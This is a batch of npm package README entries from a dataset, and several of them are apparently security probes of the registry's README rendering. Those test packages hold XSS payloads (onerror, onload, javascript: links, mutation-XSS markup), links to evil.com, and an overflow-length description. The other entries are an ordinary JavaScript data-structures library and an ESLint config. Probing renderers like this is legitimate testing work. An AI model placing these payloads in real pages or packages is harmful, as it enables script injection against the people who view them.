open-index/open-npm huggingface dataset:
npm package: @hackingmywayinin/link-xss-test
Description: Normal package
Author: Normal Author
Latest version: 1.0.0

# Normal Package

This is a normal helpful package.

## Links

- [Documentation](https://evil.com/docs "Click for docs")
- [Support](https://evil.com/support)

<a href="https://evil.com/phish" target="_blank" rel="opener">Get Help</a>
npm package: @hackingmywayinin/overflow-test
Description: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Latest version: 1.0.0

ERROR: No README data found!
npm package: @hackingmywayinin/readme-xss-test
Description: Testing rendering
Latest version: 1.0.0

# Test Package

Normal content here.

![image](x onerror=alert(document.domain))

<img src=x onerror=alert(document.domain)>

<svg onload=alert(document.domain)>

[click me](javascript:alert(document.domain))

<details open ontoggle=alert(document.domain)>test</details>

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

<iframe srcdoc="<script>alert(document.domain)</script>">

<input onfocus=alert(document.domain) autofocus>
npm package: @hackingmywayinin/xss-test-pkg
Description: <img src=x onerror=alert(document.domain)>
Latest version: 1.0.0

# Test Package

Normal content here.

<details open ontoggle="alert(document.domain)">
<summary>Click me</summary>
This is a test
</details>

<img src="x" onerror="alert(document.domain)">

[Click here](javascript:alert(document.domain))

![image](data:text/html,<script>alert(1)</script>)

<svg onload="alert(1)">
<div style="background:url('javascript:alert(1)')">test</div>
<a href="&#106;avascript:alert(1)">click</a>
<math><maction actiontype="toggle"><mi>click</mi></maction></math>
npm package: @hackingthejsinterview/js-data-structures-algorithms
Description: Data structures and algorithms helpers in JavaScript
Author: Yichen Zhu
Latest version: 1.0.2

# Data Structures and Algorithms (JavaScript)

[![Node.js CI](https://github.com/hackingthejsinterview/js-data-structures-algorithms/actions/workflows/node.js.yml/badge.svg)](https://github.com/hackingthejsinterview/js-data-structures-algorithms/actions/workflows/node.js.yml)

A set of utilities of data structures for doing leetcode problems.

## Installation

```sh
npm install -S @hackingthejsinterview/js-data-structures-algorithms
```

## Development

```sh
cd js-data-structures-algorithms/
npm link
```

```sh
cd js-leetcode-questions/
npm link @hackingthejsinterview/js-data-structures-algorithms
```

Happy coding!

## Data Structures

Here is a list of support data structures:

- [Linked Lists](#linked-lists)
- Trees
  - [Binary Search Trees](#binary-search-tree)
- Graph
  - Directed
  - Undirected

## API

### Linked Lists

```js
const {
  ListNode,
  insert,
  remove,
  search,
  print
} = require('@hackingthejsinterview/js-data-structures-algorithms').LinkedList

let headNode = new ListNode(0)

insert(headNode, 1)
insert(headNode, 5)
insert(headNode, 10)
insert(headNode, 3)
insert(headNode, 17)

remove(headNode, 10)
remove(headNode, 3)

print(headNode) // 1, 5, 17

console.log(search(17)) // true
```

### Binary Search Tree

```js
const {
  // helpers
  TreeNode,
  printTreeDirectory,
  printTreePretty,

  // operations
  find,
  findMax,
  findMin,
  height,
  insert,
  remove,

  // traversals
  bfsInOrder,
  dfsInOrder,
  dfsPostOrder,
  dfsPreOrder
} = require('@hackingthejsinterview/js-data-structures-algorithms').BinarySearchTree

const rootNode = new TreeNode(9)
const nodes = [4, 17, 3, 6, 5, 7, 22, 20]
nodes.forEach((node) => {
  insert(rootNode, node)
})

console.log(bfsInOrder(rootNode)) // [9, 4, 17, 3, 6, 22, 5, 7, 20]
console.log(dfsInOrder(rootNode)) // [3, 4, 5, 6, 7, 9, 17, 20, 22]
console.log(dfsPreOrder(rootNode)) // [9, 4, 3, 6, 5, 7, 17, 22, 20]
console.log(dfsPostOrder(rootNode)) // [3, 5, 7, 6, 4, 20, 22, 17, 9]

console.log(printTreeDirectory(rootNode))
/*
Output
------
9
├──4
│  ├──3
│  └──6
│     ├──5
│     └──7
└──17
    ├──10
    └──22
      ├──20

*/

console.log(printTreePretty(rootNode))
/*
Output
------
                 9
                / \
               /   \
              /     \
             /       \
            /         \
           /           \
          4            17
         / \           / \
        /   \         /   \
       /     \       /     \
      3       6     10     22
             / \           /
            /   \         /
           /     \       /
          5       7     20
*/
```
npm package: @hackito/eslint-config-default-rules
Description: Hackito Eslint rules
Author: Vignesh Periasami
Latest version: 0.0.3

Hackito Eslint rules
--------------------

Eslint rules for hackito projects.

Usage
-----

```
npm install @hackito/eslint-config-default-rules --save-dev
```

```json
 "extends": "default-rules"
```